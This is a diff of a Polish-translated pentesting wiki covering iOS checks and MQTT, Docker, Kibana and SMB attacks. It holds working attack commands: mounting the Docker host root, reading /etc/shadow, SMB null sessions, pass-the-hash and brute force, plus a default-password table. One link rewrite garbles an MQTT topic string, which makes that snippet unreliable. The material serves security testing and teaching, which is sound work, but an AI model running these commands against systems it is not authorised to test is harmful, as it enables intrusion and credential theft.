- [ ] Sprawdź plik `apple-app-site-association`.
- [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wejściowych użytkowników przez niestandardowy schemat i czy jakaś **vulnerabilność może być wykorzystana**.
- [ ] Sprawdź, czy aplikacja **ekspozytuje jakąkolwiek wrażliwą akcję**, która może być wywołana z dowolnego miejsca przez niestandardowy schemat.
- [**Udostępnianie UIActivity**](ios-pentesting/ios-uiactivity-sharing.md).
- [**Udostępnianie UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] Sprawdź, czy aplikacja może odbierać UIActivities i czy możliwe jest wykorzystanie jakiejkolwiek vulnerabilności z specjalnie przygotowaną aktywnością.
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md).
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] Sprawdź, czy aplikacja **kopiuje cokolwiek do ogólnej pamięci podręcznej**.
- [ ] Sprawdź, czy aplikacja **używa danych z ogólnej pamięci podręcznej do czegokolwiek**.
- [ ] Monitoruj pamięć podręczną, aby zobaczyć, czy jakiekolwiek **wrażliwe dane są kopiowane**.
- [**Rozszerzenia aplikacji**](ios-pentesting/ios-app-extensions.md).
- [**Rozszerzenia aplikacji**](ios-pentesting/ios-app-extensions.md)
- [ ] Czy aplikacja **używa jakiegokolwiek rozszerzenia**?
- [**WebViews**](ios-pentesting/ios-webviews.md).
- [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] Sprawdź, jakie rodzaje webview są używane.
- [ ] Sprawdź status **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**.
- [ ] Sprawdź, czy webview może **uzyskać dostęp do lokalnych plików** z protokołem **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`).
- [ ] Sprawdź, czy Javascript może uzyskać dostęp do **metod Native** (`JSContext`, `postMessage`).
- [ ] Sprawdź, czy JavaScript może uzyskać dostęp do **metod Native** (`JSContext`, `postMessage`).
### Komunikacja sieciowa
- [ ] Wykonaj [**MitM do komunikacji**](ios-pentesting/#network-communication) i poszukaj luk w zabezpieczeniach w sieci.
- [ ] Sprawdź, czy [**nazwa hosta certyfikatu**](ios-pentesting/#hostname-check) jest sprawdzana.
- [ ] Sprawdź/obejdź [**Pinning certyfikatów**](ios-pentesting/#certificate-pinning).
- [ ] Wykonaj [**MitM na komunikacji**](ios-pentesting/index.html#network-communication) i poszukaj luk w zabezpieczeniach w sieci.
- [ ] Sprawdź, czy [**nazwa hosta certyfikatu**](ios-pentesting/index.html#hostname-check) jest sprawdzana.
- [ ] Sprawdź/obejdź [**Pinning certyfikatów**](ios-pentesting/index.html#certificate-pinning).
### **Różne**
- [ ] Sprawdź [**automatyczne mechanizmy łatania/aktualizacji**](ios-pentesting/#hot-patching-enforced-updateing).
- [ ] Sprawdź [**złośliwe biblioteki stron trzecich**](ios-pentesting/#third-parties).
- [ ] Sprawdź [**automatyczne łatanie/aktualizacje**](ios-pentesting/index.html#hot-patching-enforced-updateing) mechanizmy.
- [ ] Sprawdź [**złośliwe biblioteki stron trzecich**](ios-pentesting/index.html#third-parties).
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## Podstawowe informacje
**MQ Telemetry Transport (MQTT)** jest znany jako **protokół komunikacyjny publish/subscribe**, który wyróżnia się swoją ekstremalną prostotą i lekkością. Protokół ten jest specjalnie dostosowany do środowisk, w których urządzenia mają ograniczone możliwości i działają w sieciach charakteryzujących się niską przepustowością, dużą latencją lub niestabilnymi połączeniami. Główne cele MQTT obejmują minimalizację wykorzystania przepustowości sieci oraz redukcję zapotrzebowania na zasoby urządzeń. Dodatkowo, ma na celu utrzymanie niezawodnej komunikacji i zapewnienie pewnego poziomu gwarancji dostarczenia. Cele te sprawiają, że MQTT jest wyjątkowo odpowiedni dla rozwijającej się dziedziny **komunikacji maszyna-do-maszyny (M2M)** oraz **Internetu Rzeczy (IoT)**, gdzie kluczowe jest efektywne łączenie wielu urządzeń. Ponadto, MQTT jest bardzo korzystny dla aplikacji mobilnych, gdzie oszczędzanie przepustowości i żywotności baterii jest kluczowe.
**MQ Telemetry Transport (MQTT)** jest znany jako **protokół komunikacyjny typu publish/subscribe**, który wyróżnia się ekstremalną prostotą i lekkością. Protokół ten jest specjalnie dostosowany do środowisk, w których urządzenia mają ograniczone możliwości i działają w sieciach charakteryzujących się niską przepustowością, dużą latencją lub niestabilnymi połączeniami. Główne cele MQTT obejmują minimalizację wykorzystania przepustowości sieci oraz redukcję zapotrzebowania na zasoby urządzeń. Dodatkowo, ma na celu utrzymanie niezawodnej komunikacji i zapewnienie pewnego poziomu gwarancji dostawy. Cele te sprawiają, że MQTT jest wyjątkowo odpowiedni dla rozwijającej się dziedziny **komunikacji maszyna-do-maszyny (M2M)** oraz **Internetu Rzeczy (IoT)**, gdzie kluczowe jest efektywne łączenie wielu urządzeń. Ponadto, MQTT jest bardzo korzystny dla aplikacji mobilnych, gdzie oszczędzanie przepustowości i żywotności baterii jest kluczowe.
**Domyślny port:** 1883
```
PORT STATE SERVICE REASON
1883/tcp open mosquitto version 1.4.8 syn-ack
```
## Inspekcja ruchu
## Inspecting the traffic
Gdy pakiet **CONNECT** jest odbierany przez brokerów MQTT, pakiet **CONNACK** jest wysyłany z powrotem. Pakiet ten zawiera kod zwrotny, który jest kluczowy dla zrozumienia statusu połączenia. Kod zwrotny **0x00** oznacza, że dane uwierzytelniające zostały zaakceptowane, co oznacza udane połączenie. Z drugiej strony, kod zwrotny **0x05** sygnalizuje, że dane uwierzytelniające są nieprawidłowe, co uniemożliwia połączenie.
@ -28,9 +28,9 @@ Na przykład, jeśli broker odrzuca połączenie z powodu nieprawidłowych danyc
## Pentesting MQTT
**Uwierzytelnianie jest całkowicie opcjonalne** i nawet jeśli uwierzytelnianie jest przeprowadzane, **szyfrowanie nie jest domyślnie używane** (dane uwierzytelniające są przesyłane w postaci niezaszyfrowanej). Ataki MITM mogą nadal być przeprowadzane w celu kradzieży haseł.
**Uwierzytelnianie jest całkowicie opcjonalne** i nawet jeśli uwierzytelnianie jest przeprowadzane, **szyfrowanie nie jest domyślnie używane** (dane uwierzytelniające są wysyłane w postaci niezaszyfrowanej). Ataki MITM mogą nadal być przeprowadzane w celu kradzieży haseł.
Aby połączyć się z usługą MQTT, możesz użyć: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) i subskrybować wszystkie tematy, wykonując:
Aby połączyć się z usługą MQTT, możesz użyć: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) i subskrybować się do wszystkich tematów, wykonując:
```
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
@ -56,7 +56,7 @@ PORT = 1883
def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/#')
client.subscribe('$SYS/index.html#')
def on_message(client, userdata, message):
print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload))

View File

@ -6,7 +6,7 @@
#### Czym jest
Docker to **wiodąca platforma** w **przemyśle konteneryzacji**, prowadząca **ciągłe innowacje**. Umożliwia łatwe tworzenie i dystrybucję aplikacji, od **tradycyjnych po futurystyczne**, i zapewnia ich **bezpieczne wdrożenie** w różnych środowiskach.
Docker to **wiodąca platforma** w **przemyśle konteneryzacji**, prowadząca do **ciągłej innowacji**. Umożliwia łatwe tworzenie i dystrybucję aplikacji, od **tradycyjnych po futurystyczne**, i zapewnia ich **bezpieczne wdrożenie** w różnych środowiskach.
#### Podstawowa architektura dockera
@ -41,11 +41,11 @@ docker system prune -a
```
#### Containerd
**Containerd** został specjalnie opracowany, aby zaspokoić potrzeby platform kontenerowych, takich jak **Docker i Kubernetes**, między innymi. Jego celem jest **uproszczenie uruchamiania kontenerów** na różnych systemach operacyjnych, w tym Linux, Windows, Solaris i innych, poprzez abstrahowanie funkcjonalności specyficznych dla systemu operacyjnego i wywołań systemowych. Celem Containerd jest uwzględnienie tylko niezbędnych funkcji wymaganych przez jego użytkowników, dążąc do pominięcia zbędnych komponentów. Jednak całkowite osiągnięcie tego celu uznawane jest za trudne.
**Containerd** został specjalnie opracowany, aby zaspokoić potrzeby platform kontenerowych, takich jak **Docker i Kubernetes**, między innymi. Jego celem jest **uproszczenie uruchamiania kontenerów** na różnych systemach operacyjnych, w tym Linux, Windows, Solaris i innych, poprzez abstrahowanie funkcjonalności specyficznych dla systemu operacyjnego oraz wywołań systemowych. Celem Containerd jest uwzględnienie tylko niezbędnych funkcji wymaganych przez jego użytkowników, dążąc do pominięcia zbędnych komponentów. Jednak całkowite osiągnięcie tego celu uznawane jest za trudne.
Kluczową decyzją projektową jest to, że **Containerd nie obsługuje sieci**. Sieć jest uważana za kluczowy element w systemach rozproszonych, z złożonościami takimi jak Software Defined Networking (SDN) i odkrywanie usług, które znacznie różnią się w zależności od platformy. Dlatego Containerd pozostawia aspekty sieciowe do zarządzania przez platformy, które wspiera.
Podczas gdy **Docker wykorzystuje Containerd** do uruchamiania kontenerów, ważne jest, aby zauważyć, że Containerd obsługuje tylko podzbiór funkcjonalności Dockera. Konkretnie, Containerd nie ma możliwości zarządzania siecią obecnych w Dockerze i nie obsługuje bezpośredniego tworzenia klastrów Docker. To rozróżnienie podkreśla skoncentrowaną rolę Containerd jako środowiska uruchomieniowego kontenerów, delegując bardziej wyspecjalizowane funkcjonalności do platform, z którymi się integruje.
Podczas gdy **Docker wykorzystuje Containerd** do uruchamiania kontenerów, ważne jest, aby zauważyć, że Containerd obsługuje tylko podzbiór funkcjonalności Dockera. Konkretnie, Containerd nie ma możliwości zarządzania siecią obecnych w Dockerze i nie obsługuje bezpośredniego tworzenia swarmów Dockera. To rozróżnienie podkreśla skoncentrowaną rolę Containerd jako środowiska uruchomieniowego kontenerów, delegując bardziej wyspecjalizowane funkcjonalności do platform, z którymi się integruje.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -63,7 +63,7 @@ ctr container delete <containerName>
```
#### Podman
**Podman** to otwartoźródłowy silnik kontenerów, który przestrzega standardów [Open Container Initiative (OCI)](https://github.com/opencontainers), opracowany i utrzymywany przez Red Hat. Wyróżnia się na tle Dockera kilkoma charakterystycznymi cechami, w szczególności **architekturą bezdemonową** oraz wsparciem dla **kontenerów bez uprawnień root**, co umożliwia użytkownikom uruchamianie kontenerów bez uprawnień administratora.
**Podman** to otwartoźródłowy silnik kontenerowy, który przestrzega standardów [Open Container Initiative (OCI)](https://github.com/opencontainers), opracowany i utrzymywany przez Red Hat. Wyróżnia się na tle Dockera kilkoma charakterystycznymi cechami, w szczególności **architekturą bezdemonową** oraz wsparciem dla **kontenerów bez uprawnień root**, co umożliwia użytkownikom uruchamianie kontenerów bez uprawnień administratora.
Podman został zaprojektowany tak, aby był kompatybilny z API Dockera, co pozwala na używanie poleceń CLI Dockera. Ta kompatybilność obejmuje jego ekosystem, który zawiera narzędzia takie jak **Buildah** do budowania obrazów kontenerów oraz **Skopeo** do operacji na obrazach, takich jak push, pull i inspect. Więcej informacji na temat tych narzędzi można znaleźć na ich [stronie GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
@ -71,7 +71,7 @@ Podman został zaprojektowany tak, aby był kompatybilny z API Dockera, co pozwa
- **Architektura**: W przeciwieństwie do modelu klient-serwer Dockera z działającym w tle demonem, Podman działa bez demona. Taki projekt oznacza, że kontenery działają z uprawnieniami użytkownika, który je uruchamia, co zwiększa bezpieczeństwo poprzez eliminację potrzeby dostępu root.
- **Integracja z systemd**: Podman integruje się z **systemd** w celu zarządzania kontenerami, co pozwala na zarządzanie kontenerami za pomocą jednostek systemd. To kontrastuje z użyciem systemd przez Dockera głównie do zarządzania procesem demona Dockera.
- **Kontenery bez uprawnień root**: Kluczową cechą Podmana jest jego zdolność do uruchamiania kontenerów z uprawnieniami użytkownika, który je inicjuje. Takie podejście minimalizuje ryzyko związane z naruszeniami kontenerów, zapewniając, że atakujący uzyskuje tylko uprawnienia skompromitowanego użytkownika, a nie dostęp root.
- **Kontenery bez uprawnień root**: Kluczową cechą Podmana jest jego zdolność do uruchamiania kontenerów z uprawnieniami użytkownika, który je inicjuje. Takie podejście minimalizuje ryzyko związane z naruszeniami kontenerów, zapewniając, że atakujący uzyskuje jedynie uprawnienia skompromitowanego użytkownika, a nie dostęp root.
Podejście Podmana oferuje bezpieczną i elastyczną alternatywę dla Dockera, kładąc nacisk na zarządzanie uprawnieniami użytkowników i kompatybilność z istniejącymi przepływami pracy Dockera.
@ -145,7 +145,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
Czasami zobaczysz, że **2376** jest dostępny dla punktu końcowego **TLS**. Nie udało mi się połączyć z nim za pomocą klienta docker, ale można to zrobić za pomocą curl.
Czasami zobaczysz **2376** dla punktu końcowego **TLS**. Nie udało mi się połączyć z nim za pomocą klienta docker, ale możliwe jest to za pomocą curl.
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
@ -199,7 +199,7 @@ cat /mnt/etc/shadow
### Eskalacja uprawnień
Jeśli jesteś wewnątrz hosta, który używa dockera, możesz [**przeczytać te informacje, aby spróbować podnieść uprawnienia**](../linux-hardening/privilege-escalation/#writable-docker-socket).
Jeśli jesteś wewnątrz hosta, który używa dockera, możesz [**przeczytać te informacje, aby spróbować podnieść uprawnienia**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
### Odkrywanie sekretów w działających kontenerach Docker
```bash
@ -218,7 +218,7 @@ Jeśli chcesz wyodrębnić plik:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
### Zabezpieczanie swojego Dockera
### Zabezpieczanie Dockera
#### Zabezpieczanie instalacji i użycia Dockera
@ -239,7 +239,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Zabezpieczanie Dockerfile
- Możesz użyć narzędzia [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter), aby **sprawdzić swój Dockerfile** i znaleźć wszelkiego rodzaju błędy konfiguracyjne. Każdemu błędowi konfiguracyjnemu przypisany będzie identyfikator, możesz znaleźć tutaj [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md), jak naprawić każdy z nich.
- Możesz użyć narzędzia [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter), aby **sprawdzić swój Dockerfile** i znaleźć wszelkiego rodzaju błędy konfiguracyjne. Każdy błąd konfiguracyjny otrzyma identyfikator, możesz znaleźć tutaj [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md), jak naprawić każdy z nich.
- `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>)

View File

@ -13,8 +13,8 @@ Proces uwierzytelniania w Kibana jest ściśle związany z **danymi uwierzytelni
Po zabezpieczeniu dostępu do Kibana, zaleca się podjęcie kilku działań:
- Priorytetem powinno być eksplorowanie danych z Elasticsearch.
- Możliwość zarządzania użytkownikami, w tym edytowanie, usuwanie lub tworzenie nowych użytkowników, ról lub kluczy API, znajduje się w Stack Management -> Users/Roles/API Keys.
- Ważne jest, aby sprawdzić zainstalowaną wersję Kibana pod kątem znanych luk w zabezpieczeniach, takich jak luka RCE zidentyfikowana w wersjach przed 6.6.0 ([Więcej informacji](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
- Możliwość zarządzania użytkownikami, w tym edytowanie, usuwanie lub tworzenie nowych użytkowników, ról lub kluczy API, znajduje się w sekcji Zarządzanie Stosem -> Użytkownicy/Role/Klucze API.
- Ważne jest, aby sprawdzić zainstalowaną wersję Kibana pod kątem znanych luk w zabezpieczeniach, takich jak luka RCE zidentyfikowana w wersjach przed 6.6.0 ([Więcej informacji](https://insinuator.net/2021/01/pentesting-the-elk-stack/index.html#ref2)).
## Rozważania dotyczące SSL/TLS

View File

@ -4,13 +4,13 @@
## **Port 139**
_**System Podstawowego Wejścia/Wyjścia Sieci**_\*\* (NetBIOS)\*\* to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom i stacjom roboczym w lokalnej sieci (LAN) interakcji z sprzętem sieciowym i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) z wykorzystaniem **TCP Port 139**.
_**System Podstawowego Wejścia/Wyjścia Sieci**_\*\* (NetBIOS)\*\* to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom i stacjom roboczym w lokalnej sieci (LAN) interakcji z urządzeniami sieciowymi i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) z wykorzystaniem **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Technicznie, port 139 jest określany jako NBT over IP, podczas gdy port 445 jest identyfikowany jako SMB over IP. Akronim **SMB** oznacza **Server Message Blocks**, który jest również współcześnie znany jako **Common Internet File System (CIFS)**. Jako protokół sieciowy na poziomie aplikacji, SMB/CIFS jest głównie wykorzystywany do umożliwienia wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwienia różnych form komunikacji między węzłami w sieci.
Technicznie, Port 139 jest określany jako NBT over IP, podczas gdy Port 445 jest identyfikowany jako SMB over IP. Akronim **SMB** oznacza **Server Message Blocks**, który jest również współcześnie znany jako **Common Internet File System (CIFS)**. Jako protokół sieciowy na poziomie aplikacji, SMB/CIFS jest głównie wykorzystywany do umożliwienia wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwienia różnych form komunikacji między węzłami w sieci.
Na przykład, w kontekście systemu Windows, podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność korzystania z NetBIOS przez TCP/IP, poprzez wykorzystanie portu 445. Z drugiej strony, w różnych systemach, obserwuje się użycie portu 139, co wskazuje, że SMB jest wykonywane w połączeniu z NetBIOS przez TCP/IP.
```
@ -18,7 +18,7 @@ Na przykład, w kontekście systemu Windows, podkreśla się, że SMB może dzia
```
### SMB
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów i innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia zgodność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo, projekt **Samba** oferuje rozwiązanie typu open source, umożliwiające implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową za pomocą SMB.
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów i innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia zgodność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo, projekt **Samba** oferuje darmowe rozwiązanie programowe, umożliwiające implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową za pomocą SMB.
Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą być widoczne dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonaj`**, **`odczytaj`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
@ -27,16 +27,16 @@ Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części loka
Dostęp do udziału IPC$ można uzyskać poprzez anonimową sesję null, co pozwala na interakcję z usługami udostępnionymi za pośrednictwem nazwanych rur. Narzędzie `enum4linux` jest przydatne w tym celu. Właściwie wykorzystane, umożliwia pozyskanie:
- Informacji o systemie operacyjnym
- Szczegółów dotyczących domeny macierzystej
- Szczegółów dotyczących domeny nadrzędnej
- Zestawienia lokalnych użytkowników i grup
- Informacji o dostępnych udziałach SMB
- Skutecznej polityki bezpieczeństwa systemu
Ta funkcjonalność jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa w ocenie stanu bezpieczeństwa usług SMB (Server Message Block) w sieci. `enum4linux` zapewnia kompleksowy widok środowiska SMB docelowego systemu, co jest niezbędne do identyfikacji potencjalnych luk w zabezpieczeniach i zapewnienia, że usługi SMB są odpowiednio zabezpieczone.
Funkcjonalność ta jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa w ocenie stanu bezpieczeństwa usług SMB (Server Message Block) w sieci. `enum4linux` zapewnia kompleksowy widok środowiska SMB docelowego systemu, co jest niezbędne do identyfikacji potencjalnych luk w zabezpieczeniach i zapewnienia, że usługi SMB są odpowiednio zabezpieczone.
```bash
enum4linux -a target_ip
```
Powyższe polecenie jest przykładem, jak `enum4linux` może być użyty do przeprowadzenia pełnej enumeracji przeciwko docelowemu adresowi określonemu przez `target_ip`.
Powyższe polecenie jest przykładem, jak `enum4linux` może być używane do przeprowadzenia pełnej enumeracji przeciwko docelowemu adresowi określonemu przez `target_ip`.
## Czym jest NTLM
@ -83,17 +83,17 @@ searchsploit microsoft smb
| **Nazwa użytkownika** | **Typowe hasła** |
| --------------------- | ----------------------------------------- |
| _(puste)_ | _(puste)_ |
| gość | _(puste)_ |
| Administrator, admin | _(puste)_, hasło, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | hasło, test, lab, demo |
| _(puste)_ | _(puste)_ |
| gość | _(puste)_ |
| Administrator, admin | _(puste)_, hasło, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | hasło, test, lab, demo |
### Atak Brute Force
- [**Atak Brute Force SMB**](../../generic-hacking/brute-force.md#smb)
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### Informacje o Środowisku SMB
@ -161,7 +161,7 @@ rpcclient-enumeration.md
`xdg-open smb://cascade.htb/`
#### W oknie przeglądarki plików (nautilus, thunar, itp.)
#### W oknie przeglądarki plików (nautilus, thunar, itd.)
`smb://friendzone.htb/general/`
@ -169,7 +169,7 @@ rpcclient-enumeration.md
### Lista folderów udostępnionych
Zawsze zaleca się sprawdzenie, czy możesz uzyskać dostęp do czegokolwiek, jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**.
Zawsze zaleca się sprawdzenie, czy możesz uzyskać dostęp do czegokolwiek, jeśli nie masz poświadczeń, spróbuj użyć **null** **poświadczeń/użytkownika gościa**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,9 +197,9 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Ręczne enumerowanie udziałów systemu Windows i łączenie się z nimi**
Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta, a gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do których można się połączyć. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, podczas korzystania z ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta, a gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do połączenia. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, używając ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Typowe nazwy udziałów dla celów systemu Windows to
Typowe nazwy udziałów dla celów Windows to
- C$
- D$
@ -217,7 +217,7 @@ Możesz spróbować połączyć się z nimi, używając następującego poleceni
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
lub ten skrypt (używając sesji null)
dla tego skryptu (używając sesji null)
```bash
#/bin/bash
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Pobierz pliki**
Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się z poświadczeniami/Pass-the-Hash.
Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się z użyciem poświadczeń/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -292,15 +292,15 @@ smbclient //<IP>/<share>
Polecenia:
- mask: określa maskę, która jest używana do filtrowania plików w katalogu (np. "" dla wszystkich plików)
- recurse: włącza rekurencję (domyślnie: wyłączone)
- recurse: włącza rekurencję (domyślnie: wyłączona)
- prompt: wyłącza pytanie o nazwy plików (domyślnie: włączone)
- mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę kliencką
(_Informacje z podręcznika smbclient_)
### Wyszukiwanie udostępnionych folderów w domenie
### Wyszukiwanie folderów współdzielonych w domenie
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -313,8 +313,8 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
Szczególnie interesujące z udziałów są pliki o nazwie **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologowaniem** za pomocą zasad grupy. Lub pliki **`web.config`**, ponieważ zawierają dane uwierzytelniające.
> [!NOTE]
> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów wsadowych, VBScript i PowerShell.\
> Powinieneś **sprawdzić** skrypty w środku, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów batch, VBScript i PowerShell.\
> Powinieneś **sprawdzić** **skrypty** w środku, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
## Odczyt rejestru
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec może wykonywać polecenia **wykorzystując** dowolną z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję preferujesz użyć za pomocą parametru `--exec-method`:
crackmapexec może wykonywać polecenia **wykorzystując** dowolne z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję preferujesz użyć za pomocą parametru `--exec-method`:
```bash
apt-get install crackmapexec
@ -426,7 +426,7 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Atak SMB relay
## Atak relay SMB
Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w wewnętrznej sieci i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelnienia jest udana**, automatycznie przeniesie cię do **powłoki** **systemowej**.\
[**Więcej informacji na temat tego ataku tutaj.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
@ -452,7 +452,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
## Kradzież NTLM
Podobnie jak w przypadku SMB Trapping, umieszczanie złośliwych plików na docelowym systemie (za pośrednictwem SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku SMB relay](./#smb-relay-attack).
